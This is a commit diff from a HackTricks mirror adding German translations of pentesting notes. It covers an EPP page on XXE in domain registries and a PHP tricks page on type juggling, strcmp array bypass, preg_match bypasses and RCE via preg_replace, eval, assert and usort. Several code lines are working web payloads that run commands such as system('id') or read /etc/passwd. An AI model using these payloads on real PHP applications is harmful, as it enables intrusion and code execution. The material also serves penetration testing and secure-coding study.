Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-15 09:27:32 +00:00
Code Issues Projects Releases Packages Wiki Activity

Translated ['network-services-pentesting/700-pentesting-epp.md', 'networ

Browse source
This commit is contained in:
Translator 2024-03-15 22:16:17 +00:00
parent 270545a455
commit 7e646a6c1a
6 changed files with 547 additions and 778 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

1
SUMMARY.md
View file

@ -454,6 +454,7 @@
* [554,8554 - Pentesting RTSP](network-services-pentesting/554-8554-pentesting-rtsp.md)
* [623/UDP/TCP - IPMI](network-services-pentesting/623-udp-ipmi.md)
* [631 - Internet Printing Protocol(IPP)](network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md)
* [700 - Pentesting EPP](network-services-pentesting/700-pentesting-epp.md)
* [873 - Pentesting Rsync](network-services-pentesting/873-pentesting-rsync.md)
* [1026 - Pentesting Rusersd](network-services-pentesting/1026-pentesting-rusersd.md)
* [1080 - Pentesting Socks](network-services-pentesting/1080-pentesting-socks.md)

39
network-services-pentesting/700-pentesting-epp.md Normal file
View file

@ -0,0 +1,39 @@
# 700 - Pentesting EPP
<details>
<summary><strong>Erfahren Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
</details>
## Grundlegende Informationen
Das Extensible Provisioning Protocol (EPP) ist ein Netzwerkprotokoll, das für das **Management von Domainnamen und anderen Internetressourcen** durch Domainregistrierungen und Registrare verwendet wird. Es ermöglicht die Automatisierung von Prozessen zur Registrierung, Verlängerung, Übertragung und Löschung von Domainnamen und gewährleistet ein standardisiertes und sicheres Kommunikationsframework zwischen verschiedenen Entitäten im Domainnamensystem (DNS). EPP ist darauf ausgelegt, flexibel und erweiterbar zu sein und ermöglicht die Hinzufügung neuer Funktionen und Befehle, wenn sich die Anforderungen der Internetinfrastruktur ändern.
Im Grunde genommen handelt es sich um eines der Protokolle, das ein **TLD-Registrar Domainregistrierern anbieten wird**, um neue Domains im TLD zu registrieren.
### Pentest
[**In diesem sehr interessanten Artikel**](https://hackcompute.com/hacking-epp-servers/) können Sie sehen, wie einige Sicherheitsforscher festgestellt haben, dass mehrere **Implementierungen dieses Protokolls** anfällig für XXE (XML External Entity) waren, da dieses Protokoll XML zur Kommunikation verwendet, was es Angreifern ermöglicht hätte, die Kontrolle über dutzende verschiedene TLDs zu übernehmen.
<details>
<summary><strong>Erfahren Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
</details>

240
network-services-pentesting/pentesting-web/php-tricks-esp/README.md
View file

@ -2,19 +2,19 @@
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
</details>
## Cookies allgemeiner Speicherort:
## Cookies common location:
Dies gilt auch für phpMyAdmin-Cookies.
@ -30,11 +30,11 @@ Standorte:
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
```
## Umgehung von PHP-Vergleichen
## Umgehen von PHP-Vergleichen
### Lockere Vergleiche/Typumwandlung ( == )
Wenn `==` in PHP verwendet wird, gibt es unerwartete Fälle, in denen der Vergleich nicht wie erwartet funktioniert. Dies liegt daran, dass "==" nur Werte vergleicht, die in denselben Typ umgewandelt wurden. Wenn Sie auch den Typ der verglichenen Daten vergleichen möchten, müssen Sie `===` verwenden.
Wenn `==` in PHP verwendet wird, gibt es unerwartete Fälle, in denen der Vergleich nicht wie erwartet funktioniert. Dies liegt daran, dass "==" nur Werte vergleicht, die in denselben Typ umgewandelt wurden. Wenn Sie auch vergleichen möchten, dass der Typ der verglichenen Daten gleich ist, müssen Sie `===` verwenden.
PHP-Vergleichstabellen: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
@ -42,14 +42,14 @@ PHP-Vergleichstabellen: [https://www.php.net/manual/en/types.comparisons.php](ht
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
* `"string" == 0 -> True` Ein String, der nicht mit einer Zahl beginnt, ist gleich einer Zahl.
* `"0xAAAA" == "43690" -> True` Zeichenketten, die aus Zahlen im Dezimal- oder Hexadezimalformat bestehen, können mit anderen Zahlen/Zeichenketten verglichen werden, wobei das Ergebnis True ist, wenn die Zahlen gleich sind (Zahlen in einer Zeichenkette werden als Zahlen interpretiert).
* `"0e3264578" == 0 --> True` Eine Zeichenkette, die mit "0e" beginnt und von beliebigem Inhalt gefolgt wird, ist gleich 0.
* `"0X3264578" == 0X --> True` Eine Zeichenkette, die mit "0" beginnt und von einem beliebigen Buchstaben gefolgt wird (X kann ein beliebiger Buchstabe sein) und von beliebigem Inhalt gefolgt wird, ist gleich 0.
* `"0e12334" == "0" --> True` Dies ist sehr interessant, weil Sie in einigen Fällen den Zeichenketten-Eingang von "0" und einem Inhalt steuern können, der gehasht wird und mit ihm verglichen wird. Wenn Sie also einen Wert bereitstellen können, der einen Hash erzeugt, der mit "0e" beginnt und keinen Buchstaben enthält, könnten Sie den Vergleich umgehen. Sie können **bereits gehashte Zeichenketten** mit diesem Format hier finden: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"X" == 0 --> True` Jeder Buchstabe in einer Zeichenkette ist gleich der Ganzzahl 0.
* `"string" == 0 -> True` Ein String, der nicht mit einer Zahl beginnt, ist gleich einer Zahl
* `"0xAAAA" == "43690" -> True` Strings, die aus Zahlen im Dezimal- oder Hexadezimalformat bestehen, können mit anderen Zahlen/Strings verglichen werden, wobei das Ergebnis True ist, wenn die Zahlen gleich waren (Zahlen in einem String werden als Zahlen interpretiert)
* `"0e3264578" == 0 --> True` Ein String, der mit "0e" beginnt und von beliebigem Text gefolgt wird, ist gleich 0
* `"0X3264578" == 0X --> True` Ein String, der mit "0" beginnt und von einem beliebigen Buchstaben gefolgt wird (X kann ein beliebiger Buchstabe sein) und von beliebigem Text gefolgt wird, ist gleich 0
* `"0e12334" == "0" --> True` Dies ist sehr interessant, da Sie in einigen Fällen die Zeichenfolgeneingabe von "0" und einige Inhalte steuern können, die gehasht und mit ihr verglichen werden. Daher könnten Sie, wenn Sie einen Wert bereitstellen können, der einen Hash erstellt, der mit "0e" beginnt und ohne Buchstaben ist, den Vergleich umgehen. Sie können **bereits gehashte Zeichenfolgen** mit diesem Format hier finden: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"X" == 0 --> True` Jeder Buchstabe in einer Zeichenfolge ist gleich der Zahl 0
Weitere Informationen finden Sie unter [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
Weitere Informationen unter [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
### **in\_array()**
@ -63,28 +63,28 @@ var_dump(in_array(0, $values, true));
```
### strcmp()/strcasecmp()
Wenn diese Funktion für **eine beliebige Authentifizierungsprüfung** verwendet wird (wie zum Beispiel das Überprüfen des Passworts) und der Benutzer eine Seite des Vergleichs kontrolliert, kann er anstelle eines Strings ein leeres Array als Passwortwert senden (`https://example.com/login.php/?username=admin&password[]=`) und diese Prüfung umgehen:
Wenn diese Funktion für **eine Authentifizierungsprüfung** verwendet wird (zum Beispiel zum Überprüfen des Passworts) und der Benutzer eine Seite des Vergleichs kontrolliert, kann er anstelle eines Strings ein leeres Array als Wert des Passworts senden (`https://example.com/login.php/?username=admin&password[]=`) und diese Prüfung umgehen:
```php
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
```
Der gleiche Fehler tritt bei `strcasecmp()` auf.
Der gleiche Fehler tritt bei `strcasecmp()` auf
### Striktes Typ-Juggling
### Strenge Typumwandlung
Auch wenn `===` verwendet wird, können Fehler auftreten, die den Vergleich anfällig für Typ-Juggling machen. Zum Beispiel, wenn der Vergleich die Daten vor dem Vergleich in einen anderen Objekttyp umwandelt:
Auch wenn `===` **verwendet wird**, können Fehler auftreten, die den **Vergleich anfällig** für **Typumwandlung** machen. Zum Beispiel, wenn der Vergleich die Daten **in ein anderes Objekttyp umwandelt, bevor er verglichen wird**:
```php
(int) "1abc" === (int) "1xyz" //This will be true
```
### preg\_match(/^.\*/)
Die Funktion **`preg_match()`** kann verwendet werden, um die **Benutzereingabe zu validieren** (sie überprüft, ob ein **Wort/Regex** aus einer **Blacklist** in der **Benutzereingabe vorhanden** ist und wenn nicht, kann der Code seine Ausführung fortsetzen).
**`preg_match()`** könnte verwendet werden, um **Benutzereingaben zu validieren** (es **überprüft**, ob ein **Wort/Regex** aus einer **Schwarzen Liste** in der **Benutzereingabe vorhanden ist** und wenn nicht, kann der Code mit seiner Ausführung fortsetzen).
#### Umgehung der Zeilenumbruchprüfung
#### Umgehung einer neuen Zeile
Jedoch überprüft `preg_match()` beim Begrenzen des Anfangs des Regexps nur die erste Zeile der Benutzereingabe. Wenn es Ihnen also irgendwie gelingt, die Eingabe in **mehreren Zeilen** zu **senden**, könnten Sie diese Überprüfung umgehen. Beispiel:
Wenn jedoch der Anfang des Regexps begrenzt wird, überprüft `preg_match()` **nur die erste Zeile der Benutzereingabe**, dann wenn es Ihnen irgendwie gelingt, die Eingabe in **mehreren Zeilen zu senden**, könnten Sie diese Überprüfung umgehen. Beispiel:
```php
$myinput="aaaaaaa
11111111"; //Notice the new line
@ -97,18 +97,18 @@ echo preg_match("/^.*1/",$myinput);
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
```
Um diese Überprüfung zu umgehen, könnten Sie den Wert mit neuen Zeilen urlcodiert senden (`%0A`) oder, wenn Sie JSON-Daten senden können, senden Sie sie in mehreren Zeilen:
Um diese Überprüfung zu umgehen, könnten Sie den Wert mit neuen Zeilen urlcodiert (`%0A`) senden oder, wenn Sie JSON-Daten senden können, senden Sie sie in mehreren Zeilen:
```php
{
"cmd": "cat /etc/passwd"
}
```
Ein Beispiel finden Sie hier: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
Finden Sie ein Beispiel hier: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
#### **Längenfehler umgehen**
#### **Längenfehlerumgehung**
(Dieser Umgehung wurde anscheinend auf PHP 5.2.5 ausprobiert und ich konnte es nicht auf PHP 7.3.15 zum Laufen bringen)\
Wenn Sie `preg_match()` eine gültige sehr **große Eingabe** senden, wird es **nicht in der Lage sein, sie zu verarbeiten** und Sie können die Überprüfung **umgehen**. Zum Beispiel, wenn es JSON auf die Blacklist setzt, könnten Sie Folgendes senden:
(Diese Umgehung wurde anscheinend auf PHP 5.2.5 ausprobiert und ich konnte sie auf PHP 7.3.15 nicht zum Laufen bringen)\
Wenn Sie `preg_match()` einen gültigen sehr **großen Eingabewert** senden können, wird es **nicht in der Lage sein, ihn zu verarbeiten**, und Sie können die Überprüfung **umgehen**. Zum Beispiel, wenn es ein JSON auf die Blacklist setzt, könnten Sie senden:
```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
```
@ -116,34 +116,19 @@ payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
Trick von: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223)
<figure><img src="../../../.gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure>
Kurz gesagt tritt das Problem auf, weil die `preg_*` Funktionen in PHP auf der [PCRE-Bibliothek](http://www.pcre.org/) aufbauen. In PCRE werden bestimmte reguläre Ausdrücke durch viele rekursive Aufrufe abgeglichen, die viel Stack-Speicher verbrauchen. Es ist möglich, eine Begrenzung für die Anzahl der erlaubten Rekursionen festzulegen, aber in PHP ist diese Begrenzung [standardmäßig auf 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) eingestellt, was mehr ist als in den Stack passt.
Kurz gesagt tritt das Problem auf, weil die `preg_*` Funktionen in PHP auf der [PCRE-Bibliothek](http://www.pcre.org/) aufbauen. In PCRE werden bestimmte reguläre Ausdrücke durch eine Vielzahl von rekursiven Aufrufen abgeglichen, die viel Stack-Speicher verbrauchen. Es ist möglich, ein Limit für die Anzahl der erlaubten Rekursionen festzulegen, aber in PHP liegt dieses Limit standardmäßig bei [100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), was mehr ist als in den Stack passt.
[Auf diesem Stackoverflow-Thread](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) wurde auch in dem Beitrag verlinkt, in dem dieses Problem genauer erläutert wird. Unsere Aufgabe war nun klar:\
**Senden Sie eine Eingabe, die das Regex dazu bringt, 100.000+ Rekursionen durchzuführen, was zu SIGSEGV führt und dazu führt, dass die Funktion `preg_match()` `false` zurückgibt. Dadurch denkt die Anwendung, dass unsere Eingabe nicht bösartig ist, und wir können am Ende der Nutzlast mit etwas wie `{system(<sehrschlechterbefehl>)}` eine Überraschung auslösen, um SSTI --> RCE --> Flag zu erhalten :)**.
In dem Beitrag wurde auch auf [diesen Stackoverflow-Thread](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) verwiesen, in dem dieses Problem ausführlicher behandelt wird. Unsere Aufgabe war nun klar:\
**Senden Sie eine Eingabe, die dazu führt, dass der Regex mehr als 100.000 Rekursionen durchführt, einen SIGSEGV verursacht, die `preg_match()` Funktion `false` zurückgibt und die Anwendung denkt, dass unsere Eingabe nicht bösartig ist. Am Ende des Payloads wird dann etwas Überraschendes wie `{system(<verybadcommand>)}` eingefügt, um SSTI --> RCE --> Flag zu erhalten :)**.
Nun, in Bezug auf Regex machen wir tatsächlich keine 100.000 "Rekursionen", sondern wir zählen "Backtracking-Schritte", wie es in der [PHP-Dokumentation](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) heißt, die standardmäßig auf 1.000.000 (1M) in der Variable `pcre.backtrack_limit` festgelegt ist.\
Um das zu erreichen, führt `'X'*500_001` zu 1 Million Backtracking-Schritten (500k vorwärts und 500k rückwärts):
Nun, in Regex-Terminologie führen wir tatsächlich keine 100.000 "Rekursionen" durch, sondern zählen stattdessen "Backtracking-Schritte", die laut [PHP-Dokumentation](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) standardmäßig auf 1.000.000 (1M) in der Variable `pcre.backtrack_limit` festgelegt sind.\
Um dies zu erreichen, führt `'X'*500_001` zu 1 Million Backtracking-Schritten (500k vorwärts und 500k rückwärts):
```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
```
### Typ-Jonglieren zur PHP-Verschleierung
Type Juggling ist eine Technik, die in PHP verwendet werden kann, um den Code zu verschleiern und die Lesbarkeit zu erschweren. Diese Technik nutzt die Art und Weise, wie PHP mit unterschiedlichen Datentypen umgeht, um den Code zu manipulieren.
In PHP können Variablen automatisch in verschiedene Datentypen umgewandelt werden, je nachdem, wie sie verwendet werden. Dies ermöglicht es uns, bestimmte Eigenschaften von PHP auszunutzen, um den Code zu verschleiern.
Ein Beispiel für Typ-Jonglieren ist die Verwendung von Vergleichsoperatoren. Wenn wir beispielsweise den Vergleichsoperator "==" verwenden, führt PHP eine implizite Typumwandlung durch, um die Vergleichbarkeit der Werte zu ermöglichen. Dies kann dazu führen, dass zwei scheinbar unterschiedliche Werte als gleich angesehen werden.
Ein weiteres Beispiel ist die Verwendung von arithmetischen Operationen. Wenn wir beispielsweise eine Zeichenkette mit einer Zahl addieren, wandelt PHP die Zeichenkette automatisch in eine Zahl um und führt die Addition durch.
Diese Art der Verschleierung kann es schwieriger machen, den Code zu verstehen und zu analysieren, da die Absicht hinter den Operationen nicht offensichtlich ist. Es ist jedoch wichtig zu beachten, dass dies keine sichere Methode ist, um den Code vor Reverse Engineering oder Angriffen zu schützen. Es ist lediglich eine Technik, um die Lesbarkeit zu erschweren.
Es ist auch wichtig zu beachten, dass Typ-Jonglieren in einigen Fällen zu unerwartetem Verhalten führen kann. Es ist daher ratsam, diese Technik mit Vorsicht anzuwenden und die Auswirkungen auf den Code zu überprüfen.
Insgesamt kann Typ-Jonglieren eine nützliche Technik sein, um den Code zu verschleiern und die Lesbarkeit zu erschweren. Es ist jedoch wichtig, die Auswirkungen und potenziellen Risiken zu verstehen, bevor man diese Technik anwendet.
### Typenvergleich für PHP-Verschleierung
```php
$obfs = "1"; //string "1"
$obfs++; //int 2
@ -154,9 +139,9 @@ $obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
```
## Execute After Redirect (EAR)
## Ausführen nach Weiterleitung (EAR)
Wenn PHP zu einer anderen Seite umleitet, aber keine **`die`** oder **`exit`** Funktion **nach dem Setzen des Headers `Location`** aufgerufen wird, wird PHP fortgesetzt und fügt die Daten dem Body hinzu:
Wenn PHP auf eine andere Seite umleitet, aber keine **`die`** oder **`exit`** Funktion aufgerufen wird, **nachdem der Header `Location` gesetzt wurde**, wird PHP fortgesetzt und fügt die Daten dem Body hinzu:
```php
<?php
// In this page the page will be read and the content appended to the body of
@ -166,18 +151,25 @@ header('Location: /index.php?page=default.html');
readfile($page);
?>
```
## Pfadtraversierung und Dateieinschluss-Exploitation
Überprüfen Sie:
{% content-ref url="../../../pentesting-web/file-inclusion/" %}
[file-inclusion](../../../pentesting-web/file-inclusion/)
{% endcontent-ref %}
## Weitere Tricks
* **register\_globals**: In **PHP < 4.1.1.1** oder wenn falsch konfiguriert, kann **register\_globals** aktiv sein (oder ihr Verhalten wird nachgeahmt). Dies bedeutet, dass in globalen Variablen wie $\_GET, wenn sie einen Wert haben, z.B. $\_GET\["param"]="1234", darauf über **$param zugegriffen werden kann. Daher können Sie durch das Senden von HTTP-Parametern Variablen überschreiben**, die im Code verwendet werden.
* Die **PHPSESSION-Cookies der gleichen Domain werden am selben Ort gespeichert**, daher können Sie, wenn innerhalb einer Domain **verschiedene Cookies in verschiedenen Pfaden** verwendet werden, bewirken, dass ein Pfad **auf das Cookie des anderen Pfads zugreift**, indem Sie den Wert des Cookies des anderen Pfads setzen.\
Auf diese Weise können Sie, wenn **beide Pfade auf eine Variable mit demselben Namen zugreifen**, den **Wert dieser Variable in Pfad1 auf Pfad2 anwenden**. Und dann werden die Variablen von Pfad1 von Pfad2 als gültig betrachtet (indem Sie dem Cookie den entsprechenden Namen in Pfad2 geben).
* Wenn Sie die **Benutzernamen** der Benutzer der Maschine haben, überprüfen Sie die Adresse: **/\~\<BENUTZERNAME>**, um zu sehen, ob die PHP-Verzeichnisse aktiviert sind.
* [**LFI und RCE mit php wrappers**](../../../pentesting-web/file-inclusion/)
* **register_globals**: In **PHP < 4.1.1.1** oder bei falscher Konfiguration kann **register_globals** aktiv sein (oder ihr Verhalten wird nachgeahmt). Dies bedeutet, dass in globalen Variablen wie $\_GET, wenn sie einen Wert haben, z.B. $\_GET\["param"]="1234", darauf zugegriffen werden kann über **$param**. Daher können Sie durch Senden von HTTP-Parametern Variablen überschreiben, die im Code verwendet werden.
* Die **PHPSESSION-Cookies der gleichen Domain werden am selben Ort gespeichert**, daher können Sie, wenn innerhalb einer Domain **unterschiedliche Cookies in verschiedenen Pfaden** verwendet werden, einen Pfad so einrichten, dass er auf das Cookie des Pfads zugreift, indem Sie den Wert des Cookies des anderen Pfads setzen. Auf diese Weise können Sie, wenn **beide Pfade auf eine Variable mit dem gleichen Namen zugreifen**, den **Wert dieser Variablen in Pfad1 auf Pfad2 anwenden**. Dann werden die Variablen von Pfad1 als gültig für Pfad2 angesehen (indem Sie dem Cookie den entsprechenden Namen geben, der in Pfad2 entspricht).
* Wenn Sie die **Benutzernamen** der Benutzer der Maschine haben. Überprüfen Sie die Adresse: **/\~\<USERNAME>**, um zu sehen, ob die PHP-Verzeichnisse aktiviert sind.
* [**LFI und RCE mit php-Wrappern**](../../../pentesting-web/file-inclusion/)
### password\_hash/password\_verify
Diese Funktionen werden typischerweise in PHP verwendet, um **Hashes aus Passwörtern zu generieren** und zu überprüfen, ob ein Passwort mit einem Hash übereinstimmt.\
Die unterstützten Algorithmen sind: `PASSWORD_DEFAULT` und `PASSWORD_BCRYPT` (beginnt mit `$2y$`). Beachten Sie, dass **PASSWORD\_DEFAULT häufig dasselbe wie PASSWORD\_BCRYPT ist**. Und derzeit hat **PASSWORD\_BCRYPT** eine **Größenbeschränkung für die Eingabe von 72 Bytes**. Wenn Sie also versuchen, etwas Größeres als 72 Bytes mit diesem Algorithmus zu hashen, werden nur die ersten 72 Bytes verwendet:
Die unterstützten Algorithmen sind: `PASSWORD_DEFAULT` und `PASSWORD_BCRYPT` (beginnt mit `$2y$`). Beachten Sie, dass **PASSWORD\_DEFAULT** häufig dasselbe wie **PASSWORD\_BCRYPT** ist. Und derzeit hat **PASSWORD\_BCRYPT** eine **Größenbeschränkung für die Eingabe von 72 Bytes**. Wenn Sie also versuchen, etwas Größeres als 72 Bytes mit diesem Algorithmus zu hashen, werden nur die ersten 72 Bytes verwendet:
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
@ -187,8 +179,8 @@ True
```
### Umgehung von HTTP-Headern durch Ausnutzung von PHP-Fehlern
Wenn eine **PHP-Seite Fehler druckt und einige vom Benutzer bereitgestellte Eingaben ausgibt**, kann der Benutzer den PHP-Server dazu bringen, einige **ausreichend lange Inhalte** zurückzugeben, sodass beim Versuch, die Header in die Antwort einzufügen, der Server einen Fehler wirft.\
Im folgenden Szenario hat der **Angreifer den Server dazu gebracht, einige große Fehler zu werfen**, und wie Sie auf dem Bildschirm sehen können, konnte PHP beim **Ändern der Header-Informationen dies nicht tun** (beispielsweise wurde der CSP-Header nicht an den Benutzer gesendet):
Wenn eine **PHP-Seite Fehler druckt und einige vom Benutzer bereitgestellte Eingaben ausgibt**, kann der Benutzer die PHP-Server dazu bringen, einige **Inhalte lang genug** zurückzugeben, sodass beim Versuch, **die Header** in die Antwort einzufügen, der Server einen Fehler wirft.\
Im folgenden Szenario hat der **Angreifer den Server dazu gebracht, einige große Fehler zu werfen**, und wie Sie auf dem Bildschirm sehen können, als PHP versuchte, **die Header-Informationen zu ändern, konnte es nicht** (beispielsweise wurde der CSP-Header nicht an den Benutzer gesendet):
![](<../../../.gitbook/assets/image (465).png>)
@ -199,11 +191,13 @@ Im folgenden Szenario hat der **Angreifer den Server dazu gebracht, einige groß
**shell\_exec("ls");**
[Überprüfen Sie dies für weitere nützliche PHP-Funktionen](php-useful-functions-disable\_functions-open\_basedir-bypass/)
### **RCE über** **preg\_replace()**
```php
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
```
Um den Code im "replace" Argument auszuführen, ist mindestens eine Übereinstimmung erforderlich.\
Um den Code im "ersetzen" Argument auszuführen, ist mindestens ein Treffer erforderlich.
Diese Option von preg\_replace wurde **ab PHP 5.5.0 als veraltet markiert.**
### **RCE über Eval()**
@ -217,19 +211,19 @@ Diese Option von preg\_replace wurde **ab PHP 5.5.0 als veraltet markiert.**
### **RCE über Assert()**
Diese Funktion in PHP ermöglicht es Ihnen, **Code auszuführen, der in einem String geschrieben ist**, um **true oder false zurückzugeben** (und je nachdem die Ausführung zu ändern). Normalerweise wird die Benutzervariable in der Mitte eines Strings eingefügt. Zum Beispiel:\
`assert("strpos($_GET['page']),'..') === false")` --> In diesem Fall könnten Sie **RCE** erreichen, indem Sie Folgendes tun:
`assert("strpos($_GET['page']),'..') === false")` --> In diesem Fall könnten Sie **RCE** erreichen, indem Sie:
```
?page=a','NeVeR') === false and system('ls') and strpos('a
```
Sie müssen den Code **brechen**, die **Syntax** **hinzufügen** und dann wieder **reparieren**. Sie können **logische Operationen** wie "**and" oder "%26%26" oder "|"** verwenden. Beachten Sie, dass "or" und "||" nicht funktionieren, da unser Payload nicht ausgeführt wird, wenn die erste Bedingung wahr ist. Ebenso funktioniert ";" nicht, da unser Payload nicht ausgeführt wird.
Sie müssen den Code **unterbrechen**, die **Syntax** **hinzufügen** und dann **wieder reparieren**. Sie können **Logikoperationen** wie "**and**" oder "%26%26" oder "|" verwenden. Beachten Sie, dass "or" oder "||" nicht funktionieren, da bei Erfüllung der ersten Bedingung unser Payload nicht ausgeführt wird. Ebenso funktioniert ";" nicht, da unser Payload nicht ausgeführt wird.
**Eine andere Option** besteht darin, der Zeichenkette die Ausführung des Befehls hinzuzufügen: `'.highlight_file('.passwd').'`
**Eine andere Option** besteht darin, der Zeichenfolge die Ausführung des Befehls hinzuzufügen: `'.highlight_file('.passwd').'`
**Eine andere Option** (wenn Sie den internen Code haben) besteht darin, eine Variable zu ändern, um die Ausführung zu beeinflussen: `$file = "hola"`
### **RCE über usort()**
Diese Funktion wird verwendet, um ein Array von Elementen mithilfe einer bestimmten Funktion zu sortieren.\
Diese Funktion wird verwendet, um ein Array von Elementen mithilfe einer spezifischen Funktion zu sortieren.\
Um diese Funktion zu missbrauchen:
```php
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
@ -250,58 +244,50 @@ function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
```
Sie können auch **//** verwenden, um den restlichen Code zu kommentieren.
Um die Anzahl der Klammern zu ermitteln, die Sie schließen müssen:
* `?order=id;}//`: Wir erhalten eine Fehlermeldung (`Parse error: syntax error, unexpected ';'`). Wahrscheinlich fehlen uns eine oder mehrere Klammern.
* `?order=id);}//`: Wir erhalten eine **Warnung**. Das scheint richtig zu sein.
